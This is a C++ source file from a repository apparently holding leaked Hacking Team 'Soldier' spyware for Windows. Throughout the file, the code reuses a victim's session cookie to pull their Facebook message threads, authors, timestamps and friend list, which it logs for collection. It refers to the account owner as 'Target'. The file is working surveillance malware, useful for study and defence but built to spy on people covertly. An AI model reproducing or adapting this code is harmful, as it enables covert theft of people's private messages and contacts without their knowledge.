hackedteam/soldier-win

View on GitHub
Soldier/facebook.cpp

Summary

Maintainability
Test Coverage
#include <Windows.h>
#include <stdio.h>
#include <time.h>

#include "debug.h"
#include "zmem.h"
#include "utils.h"
#include "social.h"
#include "facebook.h"
#include "JSON.h"
#include "conf.h"


LPSTR FacebookGetUserId(LPSTR strBuffer)
{
    LPSTR strParser = strstr(strBuffer, FB_USER_ID);
    if (!strParser)
        return NULL;

    strParser += strlen(FB_USER_ID);
    if (strchr(strParser, '"'))
        *(strchr(strParser, '"')) = 0;
    else
        return NULL;

    return strParser;
}

LPSTR FacebookGetScreenName(LPSTR strBuffer, LPSTR strUserId)
{
    CHAR strScreenNameTag[256] = { 0x0 };

    _snprintf_s(strScreenNameTag, 255, _TRUNCATE, FB_MESSAGE_SCREEN_NAME_ID, strUserId);
    LPSTR strParser = strstr(strBuffer, strScreenNameTag);
    if (!strParser)
        return NULL;

    strParser += strlen(strScreenNameTag);
    if (strchr(strParser, '"'))
        *(strchr(strParser, '"')) = 0;
    else
        return NULL;

    if (strlen(strParser))
        return strParser;
    else 
        return "Target";
}

BOOL FacebookGetUserInfo(LPSTR strCookie, LPSTR *strUserId, LPSTR *strScreenName)
{
    LPSTR strRecvBuffer=NULL, strParser=NULL;
    DWORD dwRet, dwBufferSize;

    *strUserId = *strScreenName = NULL;

    dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", L"/home.php?", 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBufferSize, strCookie); // FIXME array
    if (dwRet != SOCIAL_REQUEST_SUCCESS)
        return FALSE;

    // search for user id
    *strUserId = FacebookGetUserId(strRecvBuffer);
    if (!*strUserId || !strcmp(*strUserId, "0"))
    {
        zfree(strRecvBuffer);
        return FALSE;
    }

    // search for screen name
    strParser = *strUserId + strlen(*strUserId) + 1;
    *strScreenName = FacebookGetScreenName(strParser, *strUserId);

    // we're done with this request, copy buffers and frees it
    *strUserId = _strdup(*strUserId);
    *strScreenName = _strdup(*strScreenName);

    zfree(strRecvBuffer);
    return TRUE;
}

BOOL FacebookParseThreads(LPSTR strCookie, LPSTR strUserId, LPSTR strScreenName, DWORD dwLastTS)
{
    BOOL bIncoming;
    WCHAR strUrl[256];
    CHAR strThreadId[512];
    CHAR strPeersId[256];
    CHAR strPeers[512];
    CHAR strAuthor[256];
    CHAR strAuthorId[256];
    DWORD dwRet, dwBufferSize;
    LPSTR strRecvBuffer=NULL, strRecvBuffer2=NULL, strParser1, strParser2, strInnerParser1, strInnerParser2;


    LPSTR strMsgBody = NULL;

    dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", L"/messages/", 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBufferSize, strCookie);  //FIXME: array
    if (dwRet != SOCIAL_REQUEST_SUCCESS)
        return FALSE;
    
    strParser1 = strstr(strRecvBuffer, FB_THREAD_LIST_END);
    if (!strParser1)
    {
        zfree(strRecvBuffer);
        return NULL;
    }
    *strParser1 = 0; // fine lista
    

    strParser1 = strstr(strRecvBuffer, FB_THREAD_LIST_ID);
    if (!strParser1)
    {
        zfree(strRecvBuffer);
        return FALSE;
    }    

    for (;;)
    {
        // get thread status and skip if unread
        strParser2 = strstr(strParser1, FB_THREAD_STATUS_IDENTIFIER_V2);
        if (strParser2) 
        {
            strParser2 += strlen(FB_THREAD_STATUS_IDENTIFIER_V2);
            if (*strParser2 != '0') // unread
            {
                strParser1 = strParser2;
                continue;
            }
        }
        else 
            break;

        strParser1 = strstr(strParser1, FB_THREAD_IDENTIFIER_V2);
        if (!strParser1)
            break;
        
        strParser1 += strlen(FB_THREAD_IDENTIFIER_V2);
        strParser2 = strchr(strParser1, '"');
        if (!strParser2)
            break;
        *strParser2 = 0;


        SecureZeroMemory(strUrl, 256);
        SecureZeroMemory(strThreadId, 512);
        strcpy_s(strThreadId, 512, strParser1);
        URLDecode(strThreadId);
        _snwprintf_s(strUrl, sizeof(strUrl)/sizeof(WCHAR), _TRUNCATE, L"/ajax/messaging/async.php?sk=inbox&action=read&tid=%S&__a=1&msgs_only=1", strThreadId);  //FIXME: array

        
        strParser1 = strParser2 + 1;
        
        // cerca id partecipanti
        BOOL bAmIPresent = FALSE;
        SecureZeroMemory(strPeersId, sizeof(strPeersId));
        for (;;)
        {
            strParser2 = strstr(strParser1, FB_PEER_ID_IDENTIFIER);
            if (!strParser2)
                break;
            strParser1 = strParser2 + strlen(FB_PEER_ID_IDENTIFIER);
            strParser2 = strchr(strParser1, '"');
            if (!strParser2)
                break;
            *strParser2 = 0;

            if (!strcmp(strParser1, strUserId))
                bAmIPresent = TRUE;

            if (strlen(strPeersId) == 0)
                _snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s", strParser1);
            else
                _snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s,%s", strPeersId, strParser1);

            strParser1 = strParser2 + 1;

            if (*strParser1 == ']')
                break;
        }
        if (!bAmIPresent)
            _snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s,%s", strPeersId, strUserId);

        // controlla timestamp
        strParser1 = strstr(strParser1, FB_MESSAGE_TSTAMP_IDENTIFIER_V2);
        if (!strParser1)
            break;
        strParser1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER_V2);

        DWORD dwCurrTS;
        CHAR strTimeStamp[11];
        SecureZeroMemory(strTimeStamp, sizeof(strTimeStamp));
        memcpy(strTimeStamp, strParser1, 10);
        dwCurrTS = atoi(strTimeStamp);
        if (dwCurrTS > 2000000000 || dwCurrTS <= dwLastTS)
            continue;

        // salva timestamp se piu' recente
        SocialSetLastTimestamp(strUserId, dwCurrTS, 0);

        // get thread's messages
        DWORD dwBuffSize2;
        dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer2, &dwBuffSize2, strCookie);  //FIXME: array
        if (dwRet != SOCIAL_REQUEST_SUCCESS)
        {
            zfree(strRecvBuffer);
            return FALSE;
        }

        // get peers screen name, 
        strInnerParser1 = strRecvBuffer2;
        strInnerParser1 = strstr(strInnerParser1, FB_THREAD_AUTHOR_IDENTIFIER_V2);
        if (!strInnerParser1)
        {
            zfree(strRecvBuffer2);
            continue;
        }

        strInnerParser1 += strlen(FB_THREAD_AUTHOR_IDENTIFIER_V2);
        strInnerParser2 = strstr(strInnerParser1, " - ");
        if (!strInnerParser2)
        {
            zfree(strRecvBuffer2);
            continue;
        }
        *strInnerParser2 = 0;
        _snprintf_s(strPeers, sizeof(strPeers), _TRUNCATE, "%s, %s", strScreenName, strInnerParser1);

        strInnerParser1 = strRecvBuffer2;
        for (;;)
        {
            strInnerParser1 = strstr(strInnerParser1, FB_MESSAGE_TSTAMP_IDENTIFIER);
            if (!strInnerParser1)
                break;
            strInnerParser1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER);
            SecureZeroMemory(strTimeStamp, sizeof(strTimeStamp));
            memcpy(strTimeStamp, strInnerParser1, 10);
            dwCurrTS = atoi(strTimeStamp);
            if (dwCurrTS > 2000000000 || dwCurrTS <= dwLastTS)
                continue;
            SocialSetLastTimestamp(strUserId, dwCurrTS, 0);

            strInnerParser2 = strstr(strInnerParser1, FB_MESSAGE_AUTHOR_IDENTIFIER);
            if (!strInnerParser2)
                break;
            *strInnerParser2 = 0;
            strInnerParser1 = strInnerParser2;
            for (;*(strInnerParser1) != '>' && strInnerParser1 > strRecvBuffer2; strInnerParser1--);
            if (strInnerParser1 <= strRecvBuffer2)
                break;
            strInnerParser1++;
            _snprintf_s(strAuthor, sizeof(strAuthor), _TRUNCATE, "%s", strInnerParser1);
            strInnerParser1--;

            for (;*(strInnerParser1) != '\\' && strInnerParser1 > strRecvBuffer2; strInnerParser1--);
            if (strInnerParser1 <= strRecvBuffer2)
                break;
            *strInnerParser1 = 0;
            for (;*(strInnerParser1) != '=' && strInnerParser1 > strRecvBuffer2; strInnerParser1--);
            if (strInnerParser1 <= strRecvBuffer2)
                break;
            strInnerParser1++;
            _snprintf_s(strAuthorId, sizeof(strAuthorId), _TRUNCATE, "%s", strInnerParser1);
            strInnerParser1 = strInnerParser2 + 1;

            if (!strcmp(strAuthorId, strUserId))
                bIncoming = FALSE;
            else
                bIncoming = TRUE;

            DWORD dwMsgPartSize, dwMsgBodySize;
            dwMsgPartSize = dwMsgBodySize = 0;
            zfree(strMsgBody); // questo e' NULL al primo giro, zfree se lo smazza.
            for (;;)
            {
                LPSTR strMsgParser1, strMsgParser2;
                strMsgParser1 = strstr(strInnerParser1, FB_MESSAGE_BODY_IDENTIFIER);
                if (!strMsgParser1)
                    break;
                // no moar body, parte un altro timestamp
                strMsgParser2 = strstr(strInnerParser1, FB_MESSAGE_TSTAMP_IDENTIFIER);
                if (strMsgParser2 && strMsgParser2<strMsgParser1)
                    break;

                strInnerParser1 = strMsgParser1;
                strInnerParser1 = strstr(strInnerParser1, "p>");  //FIXME: array
                if (!strInnerParser1)
                    break;
                strInnerParser1 += strlen("p>");
                strInnerParser2 = strstr(strInnerParser1, "\\u003C\\/p>");  //FIXME: array
                if (!strInnerParser2)
                    break;
                *strInnerParser2 = 0;

                DWORD dwMsgPartSize = strlen(strInnerParser1);
                strMsgParser1 = (LPSTR) realloc(strMsgBody, dwMsgBodySize + dwMsgPartSize + strlen(FB_NEW_LINE) + sizeof(WCHAR));
                if (!strMsgParser1)
                    break;

                // se non e' il primo body, mette a capo
                if (strMsgBody)
                {
                    memcpy(strMsgParser1 + dwMsgBodySize, FB_NEW_LINE, strlen(FB_NEW_LINE));
                    dwMsgBodySize += strlen(FB_NEW_LINE);                
                }

                strMsgBody = strMsgParser1;
                memcpy(strMsgBody + dwMsgBodySize, strInnerParser1, dwMsgPartSize);
                dwMsgBodySize += dwMsgPartSize;

                memset(strMsgBody + dwMsgBodySize, 0x0, sizeof(WCHAR));

                strInnerParser1 = strInnerParser2 + 1;
            }

            if (strMsgBody)
            {
                struct tm tstamp;
                _gmtime32_s(&tstamp, (__time32_t *)&dwCurrTS);
                tstamp.tm_year += 1900;
                tstamp.tm_mon++;

                JsonDecode(strMsgBody);
                
                SocialLogIMMessageA(CHAT_PROGRAM_FACEBOOK, strPeers, strPeersId, strAuthor, strAuthorId, strMsgBody, &tstamp, bIncoming);

                zfree(strMsgBody);
                strMsgBody = NULL;
            }
            else
                break;
        }
        zfree(strRecvBuffer2);
    }

    zfree(strRecvBuffer);
    return TRUE;
}

DWORD FacebookMessageHandler(LPSTR strCookie)
{
    DWORD dwLastTimeStamp;
    LPSTR strUserId, strScreenName;
    
    if (!ConfIsModuleEnabled(L"messages"))
        return SOCIAL_REQUEST_SUCCESS;

    // get user id and screen name
    if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName))
        return SOCIAL_REQUEST_BAD_COOKIE;

    // get last timestamp
    dwLastTimeStamp = SocialGetLastTimestamp(strUserId, NULL);
    if (dwLastTimeStamp == SOCIAL_INVALID_TSTAMP)
        return SOCIAL_REQUEST_BAD_COOKIE;

    if (!FacebookParseThreads(strCookie, strUserId, strScreenName, dwLastTimeStamp))
    {
        zfree(strUserId);
        zfree(strScreenName);
        return SOCIAL_REQUEST_BAD_COOKIE;
    }
    
    zfree(strUserId);
    zfree(strScreenName);
    return SOCIAL_REQUEST_SUCCESS;
}

DWORD FacebookContactHandler(LPSTR strCookie)
{
    LPSTR strUserId, strScreenName;

    if (!ConfIsModuleEnabled(L"addressbook"))
        return SOCIAL_REQUEST_SUCCESS;

    // get user id and screen name
    if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName))
        return SOCIAL_REQUEST_BAD_COOKIE;

    LPWSTR strUrl = (LPWSTR) zalloc(2048*sizeof(WCHAR));
    _snwprintf_s(strUrl, 2048, _TRUNCATE, L"/ajax/typeahead/first_degree.php?__a=1&viewer=%S&token=v7&filter[0]=user&options[0]=friends_only&__user=%S", strUserId, strUserId); //FIXME array

    LPSTR strRecvBuffer=NULL;
    DWORD dwBuffSize;
    DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBuffSize, strCookie); // FIXME: array
    if (dwRet != SOCIAL_REQUEST_SUCCESS)
    {
        zfree(strRecvBuffer);
        zfree(strUrl);
        return SOCIAL_REQUEST_NETWORK_PROBLEM;
    }

    LPSTR strJson = strRecvBuffer;
    while (*strJson != '{' && (strJson - strRecvBuffer) < dwBuffSize)
        strJson++;

    JSONValue *jValue = JSON::Parse(strJson);
    if (jValue != NULL && jValue->IsObject())
    {
        JSONObject jRoot = jValue->AsObject();
        if (jRoot.find(L"payload") != jRoot.end()) //FIXME: array
        {
            if (jRoot[L"payload"]->IsObject())
            {
                JSONObject jPayload = jRoot[L"payload"]->AsObject();
                if (jPayload.find(L"entries") != jPayload.end() && jPayload[L"entries"]->IsArray())  //FIXME: array
                {
                    JSONArray jEntries = jPayload[L"entries"]->AsArray();  //FIXME: array
                    for (DWORD i=0; i<jEntries.size(); i++)
                    {
                        LPWSTR strUID = NULL;
                        LPWSTR strName = NULL; 
                        LPWSTR strProfile = NULL;

                        if (!jEntries.at(i)->IsObject())
                            continue;

                        JSONObject jEntry = jEntries.at(i)->AsObject();
                        if (jEntry.find(L"uid") != jEntry.end() && jEntry[L"uid"]->IsNumber())  //FIXME: array
                        {                            
                            strUID = (LPWSTR) zalloc(1024*sizeof(WCHAR));
                            _snwprintf_s(strUID, 1023, _TRUNCATE, L"%.0lf", jEntry[L"uid"]->AsNumber());  //FIXME: array
                        }
                        if (jEntry.find(L"text") != jEntry.end() && jEntry[L"text"]->IsString())  //FIXME: array
                        {
                            strName = (LPWSTR) zalloc(1024*sizeof(WCHAR)); 
                            memcpy(strName, jEntry[L"text"]->AsString().c_str(), min(jEntry[L"text"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR)));  //FIXME: array
                        }
                        if (jEntry.find(L"path") != jEntry.end() && jEntry[L"path"]->IsString())  //FIXME: array
                        {
                            strProfile = (LPWSTR) zalloc(1024*sizeof(WCHAR));
                            memcpy(strProfile, jEntry[L"path"]->AsString().c_str(), min(jEntry[L"path"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR)));  //FIXME: array
                        }

                        if (strUID && strName && strProfile)
                        {
                            LPSTR strTmp = (LPSTR) zalloc(1024);
                            _snprintf_s(strTmp, 1024, _TRUNCATE, "%S", strUID);

                            DWORD dwFlags = 0;
                            if (!strncmp(strTmp, strUserId, strlen(strUserId)))
                                dwFlags = CONTACTS_MYACCOUNT;
                            
                            SocialLogContactW(CONTACT_SRC_FACEBOOK, strName, NULL, NULL, NULL, NULL, NULL, NULL, NULL, strUID, strProfile, dwFlags);
                            zfree(strTmp);
                        }

                        zfree(strName);
                        zfree(strProfile);
                        zfree(strUID);
                    }
                }
            }
        }
    }

    /* cleanup */
    zfree(strUserId);
    zfree(strScreenName);
    zfree(strRecvBuffer);
    zfree(strUrl);
    if (jValue)
        delete jValue;

    return SOCIAL_REQUEST_BAD_COOKIE;
}